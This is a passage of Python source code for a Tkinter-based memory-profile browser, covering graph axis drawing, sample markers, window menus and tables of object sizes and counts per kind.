cursor\n            self.master['cursor'] = cursor\n            self.cursor = cursor\n\n    def xmarkers_set(self):\n        for m in self.marks:\n            m.set()\n\n    def xview(self, *args):\n        if not args:\n            return self.drawingarea.xview()\n        self.drawingarea.xview(*args)\n        self.xaxis.xview(*args)\n        self.xmarks.xview(*args)\n\n    def xview_moveto(self, fraction):\n        self.xview(MOVETO, fraction)\n\n    def xview_pos(self, pos, fraction=None, leftmargin=5, rightmargin=5):\n        # Scroll canvas view, if necessary, so that something\n        # (eg an x marker) at canvas position pos will be visible\n        # with minimum specified margin at left and right.\n        # Scroll relative to fraction; default is current xview position.\n\n        if fraction is None:\n            fraction = self.xview()[0]\n\n        x1, y1, x2, y2 = self.scrollregion\n\n        cc = x1 + fraction * (x2 - x1)\n\n        xm = pos - cc\n\n        lo = leftmargin\n        hi = self.botx - rightmargin\n\n        if xm < lo:\n            dx = xm - lo\n            xm = lo\n        elif xm >= hi:\n            dx = (xm - hi)\n            xm = hi\n        else:\n            dx = 0\n\n        r = fraction + dx / float(x2 - x1)\n        self.xview_moveto(r)\n\n    def drawxaxis(self):\n        scale_table = self.scale_table\n        self.xaxis.delete('all')\n        self.drawingarea.delete('xgrid')\n        x1, y1, x2, y2 = self.scrollregion\n\n        chdx, chdy = self.chdim\n\n        i = 0\n        while (scale_table[i] * self.xscale <\n               min(5, len(str(scale_table[i] * self.tmax))) * chdx):\n            i += 1\n        self.xstep = scale_table[i]\n\n        divisuf = (\n            (1000000000000, '%dT'),\n            (1000000000, '%dG'),\n            (1000000,  '%dM'),\n            (1000,  '%dK'),\n            (1, '%d')\n        )\n\n        for divi, form in divisuf:\n            if self.xstep >= divi:\n                break\n\n        self.xdivi = divi\n        self.xform = form\n\n        self.xi0 = 0\n        self.updatexaxis()\n\n    def updatexaxis(self):\n\n        chdx, chdy = self.chdim\n        step = self.xstep\n\n        gridon = self.xgrid\n\n        for i in range(self.xi0, self.tmax+step, step):\n            x = self.canx0 + i*self.xscale\n            self.xaxis.create_line(x, 0, x, 4)\n            if gridon:\n                self.drawingarea.create_line(x, 0, x, -self.boty,\n                                             tags=('xgrid',), width=2, stipple=\"gray25\")\n            text = self.xform % (i / self.xdivi)\n            self.xaxis.create_text(x, chdy,  text=text)\n\n        self.xaxis.create_line(self.canx0 + self.xi0 *\n                               self.xscale, 1, x+self.xscale, 1)\n\n        self.xi0 = i\n        self.xmarkers_set()\n\n    def drawyaxis(self):\n\n        gridon = self.ygrid\n\n        self.yaxis.delete('all')\n        self.drawingarea.delete('ygrid')\n\n        chdx, chdy = self.getchdim()\n\n        width = int(self.yaxis['width'])\n        i = 0\n        maxval = self.yrange\n\n        while (self.scale_table[i] * self.yscale < 1.5 * chdy):\n            i += 1\n        step = self.scale_table[i]\n\n        divisuf = (\n            (1000000000000, '%4dT'),\n            (1000000000, '%4dG'),\n            (1000000,  '%4dM'),\n            (1000,  '%4dK'),\n            (1, '%5d')\n        )\n\n        for divi, form in divisuf:\n            if step >= divi:\n                break\n\n        for i in range(0, maxval+step, step):\n            y = - i*self.yscale\n            self.yaxis.create_line(width-3, y, width-1, y)\n            if gridon:\n                self.drawingarea.create_line(self.scrollregion[0], y,\n                                             self.scrollregion[2], y,\n                                             stipple=\"gray25\",\n                                             tags=('ygrid',))\n            text = form % (i / divi)\n            self.yaxis.create_text(chdx*2.5, y-0.5*chdy,  text=text)\n\n        #self.yaxis.create_text(chdx*2.5, 0.5*chdy, text='bytes')\n\n        self.yaxis.create_line(width-1, 0, width-1, -self.boty)\n        self.xmarkers_set()\n\n    def getchdim(self):\n        ch = self.xaxis.create_text(0, 0, text='0')\n        x1, y1, x2, y2 = self.xaxis.bbox(ch)\n        self.xaxis.delete(ch)\n        chdx = abs(x2 - x1)\n        chdy = abs(y2 - y1)\n\n        return chdx, chdy\n\n    def load_stats(self, stats):\n\n        ocursor = self.frame.winfo_toplevel()['cursor']\n        try:\n            self.frame.winfo_toplevel()['cursor'] = 'watch'\n            self.frame.update()\n\n            self.numstats = len(stats)\n\n            self.lastkindval = {}\n            self.tmax = 0\n            self.ymax = None\n            self.ymaxs = []\n            self.ymins = []\n\n            C = self.drawingarea\n\n            C.delete('barsep')\n            C.delete('a')\n\n            for (i, st) in enumerate(stats):\n                self.draw_stat(i, st)\n\n            try:\n                self.drawingarea.tag_raise('barsep', 'a')\n            except TclError:\n                pass  # May be 'tagOrId \"a\" doesn't match any items' if empty!\n\n            self.drawxaxis()\n            self.drawyaxis()\n            self.xmarkers_set()\n            self.yrange_auto()\n        finally:\n            self.frame.winfo_toplevel()['cursor'] = ocursor\n\n    def add_stats(self, stats):\n        for (i, st) in enumerate(stats):\n            self.draw_stat(i+self.numstats, st)\n        self.numstats += len(stats)\n        self.updatexaxis()\n        self.setscrollregion()\n\n    def setxgrid(self, grid):\n        self.xgrid = grid\n        self.drawxaxis()\n\n    def setygrid(self, grid):\n        self.ygrid = grid\n        self.drawyaxis()\n\n    def setgraphtype(self, gmode, stats):\n        graphtype, statype = gmode.split(' ')\n        if graphtype != self.graphtype or statype != self.statype:\n            self.graphtype = graphtype\n            self.statype = statype\n            if statype == 'Size':\n                self.yunit['text'] = 'Bytes'\n            elif statype == 'Count':\n                self.yunit['text'] = 'Objects'\n            else:\n                raise ValueError\n            self.load_stats(stats)\n\n    def setscrollregion(self):\n        C = self.drawingarea\n        botx = self.botx\n        x1 = self.canx0\n        x2 = self.tmax * self.xscale + self.canx0\n        x1extra = botx / 2 + 2  # max(5, self.xscale*0.5)\n        x2extra = botx / 2 + 2  # max(5, self.xscale*0.5)\n\n        x1 -= x1extra\n        x2 += x2extra\n\n        y1 = 1-self.boty\n        y2 = 1\n\n        self.scrollregion = (x1, y1, x2, y2)\n        C.configure(scrollregion=self.scrollregion)\n\n        self.xaxis.configure(scrollregion=(x1, 0, x2, 10))\n        self.xmarks.configure(scrollregion=(x1, 0, x2, 20))\n        self.yaxis.configure(scrollregion=(0, y1, 20, y2))\n\n        self.drawingarea.yview(MOVETO, 0.0)\n\n    def setxrange(self, xrange):\n        dxrange = self.xrange / float(xrange)\n        self.xrange = xrange\n        xscaleorg = self.drawingarea.canvasx(self.botx/2)\n        self.drawingarea.scale(\"a\", xscaleorg, 0, dxrange, 1.0)\n        self.drawingarea.scale(\"barsep\", xscaleorg, 0, dxrange, 1.0)\n        self.canx0 = xscaleorg + (self.canx0 - xscaleorg) * dxrange\n        self.xscale = self.botx / float(self.xrange)\n        self.setxscrollincrement(max(2, self.xscale))\n        self.drawxaxis()\n        self.setscrollregion()\n\n    def setxscrollincrement(self, dx):\n        return\n        self.drawingarea.configure(xscrollincrement=dx)\n        self.xaxis.configure(xscrollincrement=dx)\n        self.xmarks.configure(xscrollincrement=dx)\n\n    def setyrange(self, yrange):\n\n        dyrange = float(self.yrange) / yrange\n        self.yrange = yrange\n        self.var_yrange.set(yrange)\n\n        self.drawingarea.scale(\"a\", 0, 0, 1.0, dyrange)\n        self.drawingarea.scale(\"barsep\", 0, 0, 1.0, dyrange)\n        self.yscale = float(self.boty) / self.yrange\n        self.drawingarea.yview(MOVETO, 0.0)\n        self.drawyaxis()\n\n    def xscrollbar_set(self, first, last):\n        self.xscrollbar.set(first, last)\n        self.yrange_auto()\n\n    def yrange_auto(self, force=0):\n        if force or self.ycontrol.autovar.get():\n            lo = max(0,\n                     int(0.5+(self.drawingarea.canvasx(0) - self.canx0) / self.xscale))\n            hi = min(len(self.ymaxs),\n                     int(1.5+(self.drawingarea.canvasx(self.botx) - self.canx0) / self.xscale))\n            if lo == hi:\n                ymax = 1\n            else:\n                ymax = max(self.ymaxs[lo:hi])\n            if ymax != self.ymax:\n                self.ymax = ymax\n                self.ycontrol.fit(ymax)\n\n\nclass MarkerControl:\n    def __init__(self, master,\n                 marker,\n                 setcommand=lambda: 0\n                 ):\n        self.sample = 0\n        self.numsamples = 0\n        self.setcommand = setcommand\n        self.marker = marker\n        self.name = marker.name\n        sf = self.frame = Frame(master, borderwidth=2, relief=GROOVE)\n        self.samplevar = SizeVar()\n        Label(sf, text='%s sample' % marker.name).grid(row=0, column=0)\n        Label(sf,\n              textvariable=self.samplevar,\n              font=('terminal', '16', 'bold'),\n              bg='black', fg='yellow'\n              ).grid(row=1, column=0, padx=3, pady=3)\n        ClickButton(sf, text='-',\n                    pady=0, padx=5,\n                    command=lambda: self.changesample(-1)).grid(row=0, column=1, sticky=E)\n        ClickButton(sf, text='+',\n                    pady=0, padx=5,\n                    command=lambda: self.changesample(1)).grid(row=0, column=2, sticky=W)\n        self.trackingvar = BooleanVar()\n        self.trackbutton = Checkbutton(\n            sf, text='Track',\n            padx=5,\n\n            variable=self.trackingvar,\n            relief=RAISED,\n            command=self.settracking,\n            indicatoron=1,\n        )\n        self.trackbutton.grid(row=1, column=1, columnspan=2)\n\n    def changesample(self, d):\n        sample = self.sample + d\n        if 0 <= sample < self.numsamples:\n            self.setmarker(sample)\n\n    def setmarker(self, sample):\n        self.marker.move(sample)\n        self.setsample(sample)\n\n    def setnumsamples(self, num):\n        self.numsamples = num\n        if self.trackingvar.get() or self.sample >= self.numsamples:\n            self.setmarker(max(0, self.numsamples-1))\n\n    def setsample(self, sample):\n        self.sample = sample\n        self.samplevar.set(sample)\n        self.setcommand()\n\n    def settracking(self, tracking=None):\n        if tracking is not None:\n            self.trackingvar.set(tracking)\n        else:\n            tracking = self.trackingvar.get()\n        if tracking:\n            self.setmarker(max(0, self.numsamples-1))\n\n\nclass Window:\n    def __init__(self, app, frame, windowmenu=None):\n        self.app = app\n        self.frame = frame\n        self.windowmenu = windowmenu\n        self.wtitle = frame.title()\n        self._is_destroyed = 0\n        # Binding to <destroy> didnt work well:\n        #   frame.bind('<Destroy>', self.event_destroy, add='+')\n        # I give up. I modify .destroy of frame argument instead.\n        self.old_destroy = frame.destroy\n        frame.destroy = self.new_destroy\n\n    def new_destroy(self):\n        if self._is_destroyed:\n            return\n        self._is_destroyed = 1\n        self.app.del_window(self)\n        try:\n            self.old_destroy()\n        except TclError:\n            # This may happen at closing last window\n            # because exit destroys the root when it sees all windows were closed.\n            # So I ignore it.\n            pass\n\n    def title(self, title):\n        self.frame.title(title)\n        self.frame.iconname(title)\n        self.wtitle = title\n        self.app.chg_window(self)\n\n    def wakeup(self):\n        frame = self.frame\n        try:\n            if frame.wm_state() == \"iconic\":\n                frame.wm_deiconify()\n            frame.tkraise()\n            # I don't think I want .focus_set: it behaved strange in X at least.\n            # frame.focus_set()\n        except TclError:\n            # This can happen when the window menu was torn off.\n            # Simply ignore it.\n            pass\n\n\nclass WindowMenu:\n    def __init__(self, frame, variable):\n        self.button = Menubutton(frame, text='Window')\n        self.menu = Menu(self.button)\n        self.button['menu'] = self.menu\n        self.variable = variable\n        self.wmap = {}\n\n    def add_window(self, window):\n        self.menu.add_radiobutton(\n            command=window.wakeup,\n            label='%d %s' % (window.wid, window.wtitle),\n            value=window.wid,\n            variable=self.variable)\n        self.wmap[window.wid] = self.menu.index(END)\n\n    def chg_window(self, window):\n        self.menu.delete(self.wmap[window.wid])\n        self.menu.insert_radiobutton(\n            self.wmap[window.wid],\n            command=window.wakeup,\n            label='%d %s' % (window.wid, window.wtitle),\n            value=window.wid,\n            variable=self.variable)\n\n    def del_window(self, window):\n        idx = self.wmap[window.wid]\n        del self.wmap[window.wid]\n        try:\n            self.menu.delete(idx)\n        except TclError:\n            # This can happen if the menu was destroyed before its contents.\n            # Simply ignore it.\n            pass\n        for wid in list(self.wmap.keys()):\n            if self.wmap[wid] > idx:\n                self.wmap[wid] -= 1\n\n\nclass ProfileApp:\n    def __init__(self, mod):\n        self.mod = mod\n        root = Tk()\n        self.root = root\n        root.withdraw()\n        self.windows = {}\n        self.windowmenus = {}\n        self.var_window = IntVar(root)\n\n    def add_window(self, window):\n        window.wid = max([0]+list(self.windows.keys()))+1\n        self.windows[window.wid] = window\n        wm = getattr(window, 'windowmenu', None)\n        if wm:\n            self.windowmenus[window.wid] = wm\n            for w in list(self.windows.values()):\n                if w is not window:\n                    wm.add_window(w)\n        for wm in list(self.windowmenus.values()):\n            wm.add_window(window)\n        self.var_window.set(window.wid)\n        window.frame.bind('<FocusIn>',\n                          lambda event: self.var_window.set(window.wid), add='+')\n        window.frame.bind('<Deactivate>',\n                          lambda event: self.var_window.set(0), add='+')\n\n    def add_window_frame(self, frame, windowmenu=None):\n        w = Window(self, frame, windowmenu)\n        self.add_window(w)\n        return w\n\n    def chg_window(self, window):\n        for wm in list(self.windowmenus.values()):\n            wm.chg_window(window)\n\n    def del_window(self, window):\n        wid = window.wid\n        if getattr(window, 'windowmenu', None):\n            del self.windowmenus[wid]\n        del self.windows[wid]\n        for wm in list(self.windowmenus.values()):\n            wm.del_window(window)\n        if not self.windows:\n            self.exit()\n\n    def exit(self):\n        try:\n            self.root.destroy()\n        except TclError:\n            pass\n        self.root.quit()\n\n    def mainloop(self):\n        return self.root.mainloop()\n\n    def new_profile_browser(self, filename):\n        return ProfileBrowser(self, filename)\n\n\nclass PaneDiv:\n    def __init__(self, master, movecommand):\n        self.frame = frame = Frame(master)\n        self.movecommand = movecommand\n\n        self.butsize = bs = 6\n        bc = self.butcent = bs / 2 + 3\n        h = 10\n        self.top = Canvas(\n            frame,\n            width=10,\n            height=h,\n        )\n\n        self.top.create_line(\n            bc, 0, bc, h, fill='#808080', width=1)\n        self.top.create_line(\n            bc+1, 0, bc+1, h, fill='white', width=1)\n\n        self.rsbut = Canvas(\n            frame,\n            cursor='crosshair',\n            width=self.butsize,\n            height=self.butsize,\n            relief=RAISED,\n            bd=2\n        )\n\n        self.bot = Canvas(\n            frame,\n            width=10,\n            height=300,\n            bd=0\n        )\n\n        self.top.grid(row=0, column=0, sticky=N)\n        self.rsbut.grid(row=1, column=0, sticky=N)\n        self.bot.grid(row=2, column=0, sticky=N)\n\n        self.rsbut.bind('<Button-1>', self.but_down)\n        self.rsbut.bind('<ButtonRelease-1>', self.but_up)\n\n    def but_down(self, event):\n        self.down_event = event\n        self.rsbut.configure(relief=SUNKEN)\n\n    def but_up(self, event):\n        self.rsbut.configure(relief=RAISED)\n        dx = event.x - self.down_event.x\n        self.movecommand(dx)\n\n    def setheight(self, height):\n        h = height - 18\n        self.bot['height'] = h\n\n        bc = self.butcent\n\n        self.bot.create_line(\n            bc, 0, bc, h, fill='#808080', width=1)\n        self.bot.create_line(\n            bc+1, 0, bc+1, h, fill='white', width=1)\n\n\nclass TableFrame:\n    def __init__(self, graph, master, numkindrows, samplevar):\n        self.graph = graph\n        self.mod = graph.mod\n        frame = self.frame = Frame(master, borderwidth=2, relief=GROOVE)\n        row = 0\n        self.marktime = StringVar()\n        self.totsizevar = SizeVar()\n        self.sampler = StringVar()\n        self.sampler.set('R')\n\n        fr = Frame(frame)  # For header\n        om = OptionMenu(fr, self.sampler, 'R', 'L', 'R-L')\n        om.grid(row=0, column=0, sticky=W)\n        Label(fr, text='Sample').grid(row=0, column=1, sticky=W)\n        Label(fr, textvariable=samplevar, background='black', foreground='yellow',\n              ).grid(row=0, column=2, sticky=W, pady=3)\n        Label(fr, text='at').grid(row=0, column=3, sticky=W)\n        Label(fr, textvariable=self.marktime).grid(\n            row=0, column=4, sticky=W)\n        Label(fr, text='Total size = ').grid(\n            row=1, column=0, columnspan=3, sticky=W)\n        Label(fr, textvar=self.totsizevar).grid(\n            row=1, column=3, columnspan=2, sticky=W)\n        fr.grid(row=row, column=0, sticky=W)\n        row += 1\n\n        orow = row\n\n        tb = Frame(frame)\n        row = 0\n\n        Label(tb, text=\"\").grid(row=row, column=0)\n        Label(tb, text=\"R\", ).grid(row=row, column=1, sticky=E)\n        Label(tb, text=\"%R\").grid(row=row, column=2, sticky=E)\n        Label(tb, text=\"R-L\", ).grid(row=row, column=3, sticky=E)\n        Label(tb, text=\"%L\").grid(row=row, column=4, sticky=E)\n        Label(tb, text=\"Kind\").grid(row=row, column=5, sticky=W)\n\n        row += 1\n        self.profrows = []\n        self.totrow = ProfileRow(tb, row)\n        self.profrows.append(self.totrow)\n        row += 1\n\n        for i in range(numkindrows+1):\n            profrow = ProfileRow(tb, row)\n            self.profrows.append(profrow)\n            row += 1\n\n        row = orow\n        tb.grid(row=row, column=0, sticky=W)\n\n        # for next..\n        row += 1\n\n        self.totresize = 0\n        self.kindwidth = ProfileRow.kindwidth\n\n    def resize(self, dx, dy):\n        dx = int(dx)\n        self.totresize += dx\n        charresize, extra = divmod(self.totresize, 7)\n        newwidth = ProfileRow.kindwidth + charresize\n        oldwidth = self.profrows[0].kind['width']\n        if newwidth < 10:\n            newwidth = 10\n            dx = (newwidth - oldwidth) * 7 + extra\n        for pr in self.profrows:\n            pr.kind['width'] = newwidth\n            pr.kindwidth = newwidth\n            pr.kind['padx'] = extra / 2\n            import textwrap\n            kindtext = textwrap.fill(pr.kindtext, width=pr.kindwidth)\n            pr.set_kind(pr.kindtext)\n\n        return dx, dy\n\n    def update(self, lsamp, rsamp):\n\n        self.marktime.set(self.mod.time.asctime(\n            self.mod.time.localtime(rsamp.stat.timemade)))\n\n        return\n\n        for pr in self.profrows:\n            pr.clear()\n\n        rdiv = float(rsamp.stat.size)\n        ldiv = float(lsamp.stat.size)\n\n        self.totrow.set_color_size_percent_kind(\n            None,\n            rsamp.stat.size,\n            100.0,\n            rsamp.stat.size - lsamp.stat.size,\n            (rsamp.stat.size - lsamp.stat.size) * 100.0 / ldiv,\n            '<Total>'\n        )\n\n        for i, r in enumerate(rsamp.rows):\n            l = lsamp.kindrows[r.name]\n            self.profrows[i+1].set_color_size_percent_kind(\n                self.graph.getkindcolor(r.name),\n                r.size,\n                r.size * 100.0 / rdiv,\n                r.size - l.size,\n                (r.size - l.size) * 100.0 / ldiv,\n                r.name)\n\n\nclass ColSpec:\n    def __init__(self, tf, header, width, pos, render, idx=()):\n        self.tf = tf\n        self.header = header\n        self.name = header\n        self.width = width\n        self.pos = pos\n        self.render = render\n        self.idx = idx\n\n    def align(self, text):\n        sp = ' '*(self.width - len(text))\n        if self.pos == LEFT:\n            text = text + sp\n        elif self.pos == RIGHT:\n            text = sp[:-1] + text + ' '\n        else:\n            assert 0\n        assert len(text) == self.width\n        return text\n\n\nclass TableFrame:\n    def __init__(self, graph, master):\n        self.graph = graph\n        self.mod = graph.mod\n\n        frame = self.frame = Frame(\n            master,\n            borderwidth=3,\n            relief=SUNKEN\n        )\n\n        self.colspecs = {}\n        self.colwidths = []\n\n        def defcol(names, width, pos, put, idxfunc=lambda x: ()):\n            if callable(put):\n                put = [put]*len(names)\n            self.colwidths.append(width)\n            for name, put in zip(names, put):\n                spec = ColSpec(self, name, width, pos, put, idxfunc(name))\n                self.colspecs[name] = spec\n\n        defcol(('A', 'B'), 2, LEFT, self.putcolor, lambda x: x)\n        defcol(('Size', 'Count'), 7, RIGHT, [self.putsize, self.putcount])\n        defcol(('%A:Tot', '%B:Tot'), 7, RIGHT,\n               self.putpercent, lambda name: name[1])\n        defcol(('B-A', 'A-B', 'Cumul'), 7, RIGHT, [self.putdiff, self.putdiff, self.putcumul],\n               lambda name: [(), name.split('-')]['-' in name])\n        defcol(('%A:Tot', '%B:Tot'), 7, RIGHT,\n               self.putpercent, lambda name: name[1])\n        defcol(('Kind',), 20, LEFT, self.putkind)\n\n        width = 0\n        for w in self.colwidths:\n            width += w\n        self.totxresize = 0\n        self.totyresize = 0\n        self.kindcol = self.colspecs['Kind']\n        self.orgkindwidth = self.kindcol.width\n        self.widthbeforekind = width - self.orgkindwidth\n        self.minkindwidth = 10\n        self.mintextheight = 2\n        width += 1\n        self.width = self.orgwidth = width\n\n        wrap = NONE\n        cursor = master['cursor']\n        relief = FLAT\n        self.minpadx = 3\n        self.tothead = Text(\n            frame,\n            width=width,\n            wrap=wrap,\n            background='#ccc',\n            height=2,\n            padx=self.minpadx,\n            relief=relief,\n            cursor=cursor,\n        )\n\n        self.rowhead = Text(\n            frame,\n            width=width,\n            wrap=wrap,\n            background='#ccc',\n            height=1,\n            padx=self.minpadx,\n            relief=relief,\n            cursor=cursor,\n        )\n\n        self.tsframe = Frame(frame)\n\n        self.textminpady = 2\n        self.text = Text(\n            self.tsframe,\n            width=width,\n            wrap=wrap,\n            height=21,\n            background='#e0e0e0',\n            relief=relief,\n            takefocus=0,\n            cursor=cursor,\n            padx=self.minpadx,\n            pady=self.textminpady,\n        )\n\n        self.scrollbar = Scrollbar(\n            self.tsframe,\n            width=10,\n            orient=VERTICAL,\n            command=self.text.yview\n        )\n        self.scrollbar_totwidth = int(\n            self.scrollbar['width']) + 6  # width + padding\n\n        self.uses_scrollbar = 0\n        self.auto_scrollbar = 1\n\n        self.orgtextheight = int(self.text['height'])\n\n        padx = 0\n        pady = 0\n        self.tothead.pack(anchor=N+W, padx=padx, pady=pady)\n        self.rowhead.pack(anchor=N+W, padx=padx, pady=pady)\n        self.text.pack(side=LEFT, anchor=N+W, padx=padx, pady=pady)\n        self.tsframe.pack(anchor=N+W, padx=padx, pady=pady)\n\n    def setchdim(self):\n        self.text.update()\n        self.chdx = float(self.text.winfo_width()) / self.width\n        self.chdy = float(self.text.winfo_height()) / self.orgtextheight\n        self.chdx = int(round(self.chdx))\n        self.chdy = int(round(self.chdy))\n        self.pixwidth = self.width * self.chdx\n        self.pixheight = self.width * self.chdy\n\n    def putcolor(self, col):\n        if self.colorow.name == '<Total>':\n            text = col.align(' ')\n            color = '#e0e0e0'\n        else:\n            color = self.graph.getkindcolor(self.colorow.name),\n            text = col.align('@')\n        self.text.insert('end', text, (color,))\n        self.text.tag_config(color, foreground=color, background='#e0e0e0',\n                             font=('terminal', '12', 'bold'),)\n\n    def putcount(self, col):\n        self.valmode = 'Count'\n        count = self.colorow.count\n        self.cumulval += count\n        self.putval(col, count)\n\n    def putsize(self, col):\n        self.valmode = 'Size'\n        size = self.colorow.size\n        self.cumulval += size\n        self.putval(col, size)\n\n    def putval(self, col, val):\n        self.curval = val\n        self.ap(col.align(sizestring(val)))\n\n    def putpercent(self, col):\n        a = self.statbyname[col.idx]\n\n        if self.valmode == 'Count':\n            ref = a.count\n        elif self.valmode == 'Size':\n            ref = a.size\n\n        if ref:\n            ps = percentstring(self.curval * 100.0 / ref)\n        else:\n            ps = '---'\n        self.ap(col.align(ps))\n\n    def putdiff(self, col):\n\n        a, b = self.rowbyname[col.idx[0]], self.rowbyname[col.idx[1]]\n        if self.valmode == 'Count':\n            a, b = a.count, b.count\n        elif self.valmode == 'Size':\n            a, b = a.size, b.size\n\n        self.putval(col, a - b)\n\n    def putcumul(self, col):\n        self.putval(col, self.cumulval)\n\n    def putkind(self, col):\n        # Must be last!\n        import textwrap\n        wraplines = textwrap.wrap(self.colorow.name, width=col.width)\n        self.ap(col.align(wraplines[0]))\n        if len(wraplines) > 1:\n            initial = '\\n'+' '*(self.widthbeforekind)\n            for line in wraplines[1:]:\n                self.ap(initial+col.align(line))\n\n    def setmode(self, mode, numkindrows):\n        self.mode = mode\n        self.numkindrows = numkindrows\n        self.mcontrols = self.graph.mcontrolbyname\n        self.stats = self.graph.stats\n        self.cols = [self.colspecs[x.strip()]\n                     for x in mode.split(' ') if x.strip()]\n        self.controlnames = {}\n        name = self.cols[0].idx\n        self.colorcontrol = self.mcontrols[name]\n        self.controlnames[name] = 1\n        self.controls = [self.colorcontrol]\n        self.lastidxs = [None]\n        for i, co in enumerate(self.cols):\n            idx = co.idx\n            if not isinstance(idx, (tuple, list)):\n                idx = (idx,)\n            for idx in idx:\n                if idx not in self.controlnames:\n                    self.controls.append(self.mcontrols[idx])\n                    self.controlnames[idx] = 1\n                    self.lastidxs.append(None)\n\n    def setscrollbar(self, sb):\n        if sb == self.uses_scrollbar:\n            return\n        self.uses_scrollbar = sb\n        w = self.scrollbar_totwidth\n        if sb:\n            self.resize(-w, 0, setscrollbar=0)\n            self.scrollbar.pack(side=LEFT, fill=Y)\n            self.text['yscrollcommand'] = self.scrollbar.set\n        else:\n            self.resize(w, 0, setscrollbar=0)\n            self.scrollbar.pack_forget()\n            self.text['yscrollcommand'] = None\n\n    def update_simple(self, lsamp, rsamp):\n        t = self.text\n        t.delete('1.0', '100.0')\n        t.insert('1.0', str(rsamp.stat))\n\n    def update(self, force=0, setscrollbar=1):\n\n        stats = self.stats\n\n        idxs = [max(0, min(control.sample, len(stats)-1))\n                for control in self.controls]\n        if (idxs == self.lastidxs) and not force:\n            return\n\n        self.lastidxs = idxs\n\n        self.text['state'] = self.tothead['state'] = self.rowhead['state'] = NORMAL\n\n        self.text.delete('1.0', END)\n        self.tothead.delete('1.0', END)\n        self.rowhead.delete('1.0', END)\n\n        if not stats:\n            self.tothead.insert('end', '-- No Sample --')\n            self.text['state'] = self.tothead['state'] = self.rowhead['state'] = DISABLED\n            return\n\n        self.statbyname = {}\n        statbyidx = []\n        for i, control in enumerate(self.controls):\n            stat = stats[idxs[i]]\n            statbyidx.append(stat)\n            self.statbyname[control.name] = stat\n\n        samps = self.samps = [\n            Sample(self.mod, statbyidx[0], self.controls[0].marker.name, idxs[0],\n                   numkindrows=self.numkindrows,\n                   statype=self.graph.display.statype\n                   )]\n\n        self.colorsamp = samps[0]\n        if len(self.controls) > 1:\n            samps.append(Sample(self.mod, statbyidx[1], self.controls[1].marker.name, idxs[1],\n                                relative=samps[0]))\n\n            self.relsamp = samps[1]\n\n        t = self.tothead\n\n        n = max([len(str(samp.index)) for samp in samps])\n        for samp in samps:\n            t.insert('end', 'Sample %s: ' % samp.name)\n            t.insert('end', ('%%%dd' % n) % samp.index, ('index',))\n            t.insert('end', ' at %s\\n' % (samp.datetime))\n\n        t.tag_configure('index', background='#e0e0e0')\n\n        t = self.rowhead\n\n        self.sizes = [float(samp.stat.size) for samp in samps]\n\n        for col in self.cols:\n            t.insert('end', col.align(col.header), ('header',))\n        t.insert('end', '\\n')\n\n        t = self.text\n\n        self.ap = lambda text: t.insert('end', text)\n\n        self.colorow = Row(samps[0].count, samps[0].size, '<Total>')\n        self.rowbyname = self.statbyname\n        self.cumulval = 0\n        for col in self.cols:\n            col.render(col)\n        self.ap('\\n\\n')\n\n        self.cumulval = 0\n        for i, a in enumerate(samps[0].rows):\n            self.colorow = a\n            if len(samps) > 1:\n                self.rowbyname = {\n                    samps[0].name: a,\n                    samps[1].name: samps[1].kindrows[a.name]\n                }\n            for col in self.cols:\n                col.render(col)\n            self.ap('\\n')\n\n        if setscrollbar and self.auto_scrollbar:\n            numrows = int(self.text.index('end').split('.')[0])-2\n            h = int(self.text['height'])\n            needs_scrollbar = numrows > h\n            if needs_scrollbar != self.uses_scrollbar:\n                self.setscrollbar(needs_scrollbar)\n\n        self.text['state'] = self.tothead['state'] = self.rowhead['state'] = DISABLED\n\n    def resize(self, dx, dy, setscrollbar=1):\n        dx = int(dx)\n        oldwidth = self.pixwidth\n        newwidth = self.pixwidth + dx\n        if newwidth < self.chdx * 2:\n            newwidth = self.chdx * 2\n\n        self.pixwidth = newwidth\n        dx = newwidth - oldwidth\n\n        charwidth, extra = divmod(newwidth, self.chdx)\n\n        self.kindcol.width = max(\n            charwidth - self.widthbeforekind - 1, self.minkindwidth)\n\n        self.totxresize += dx\n        for t in (self.tothead, self.rowhead, self.text):\n            t['width'] = charwidth\n            t['padx'] = self.minpadx + extra / 2\n\n        dy = int(dy)\n\n        rowresize, extra = divmod(self.totyresize + dy, self.chdy)\n        newheight = self.orgtextheight + rowresize\n        oldheight = int(self.text['height'])\n        if newheight < self.mintextheight:\n            newheight = self.mintextheight\n            dy = (newheight - oldheight) * self.chdy + extra\n        self.totyresize += dy\n\n        self.text['height'] = newheight\n        self.text['pady'] = self.textminpady + extra / 2\n\n        self.update(force=1, setscrollbar=1)\n\n        return dx, dy\n\n\nclass Filler:\n    def __init__(self, master):\n        self.frame = self.can = Canvas(\n            master,\n            # background='blue',\n            width=0,\n            height=0)\n\n    def getsize(self):\n        return int(self.can['width']), int(self.can['height']),\n\n    def setsize(self, w, h):\n        self.can.configure(\n            width=w,\n            height=h\n        )\n\n    def resize(self, dw, dh):\n        w, h = self.getsize()\n        self.setsize(max(0, w + dw), max(0, h + dh))\n\n\nclass Row:\n    def __init__(self, count, size, name):\n        self.count = count\n        self.size = size\n        self.name = name\n\n\nclass Sample:\n    def __init__(self, mod, stat, name, index, numkindrows=None, statype='Size', relative=None):\n        self.stat = stat\n        self.size = stat.size\n        self.count = stat.count\n        self.name = name\n        self.index = index\n\n        self.datetime = mod.time.asctime(mod.time.localtime(stat.timemade))\n\n        self.kindrows = {}\n\n        if numkindrows is not None:\n            rows = stat.get_rows_n_and_other(numkindrows, statype)\n            for r in rows:\n                self.kindrows[r.name] = r\n        else:\n            kinds = []\n            oidx = None\n            for row in relative.rows:\n                if row.name == '<Other>':\n                    oidx = len(kinds)\n                    continue\n                else:\n                    kinds.append(row.name)\n\n            rows = stat.get_rows_of_kinds(kinds)\n            size = 0\n            count = 0\n            for i, row in enumerate(rows):\n                kind = kinds[i]\n                if row is None:\n                    row = Row(0, 0, kind)\n                self.kindrows[kind] = row\n                size += row.size\n                count += row.count\n\n            if oidx is not None:\n                other = Row(stat.count - count, stat.size - size, '<Other>')\n                rows[oidx:oidx] = [other]\n                self.kindrows['<Other>'] = other\n\n        self.rows = rows\n\n\nclass ProfileBrowser:\n    colors = (\"red\", \"green\", \"blue\", \"yellow\", \"magenta\", \"cyan\", 'white')\n    numkindrows = 10\n\n    def __init__(self, app, filename):\n        self.inited = 0\n        self.app = app\n        self.mod = mod = app.mod\n        self.master = master = app.root\n        if filename:\n            filename = mod.path.abspath(filename)\n            self.initialdir = mod.path.dirname(filename)\n        else:\n            self.initialdir = mod.os.getcwd()\n\n        self.frame = frame = Toplevel(\n            master,\n            # background='#bbb'\n        )\n        #frame['cursor'] = 'umbrella'\n        # 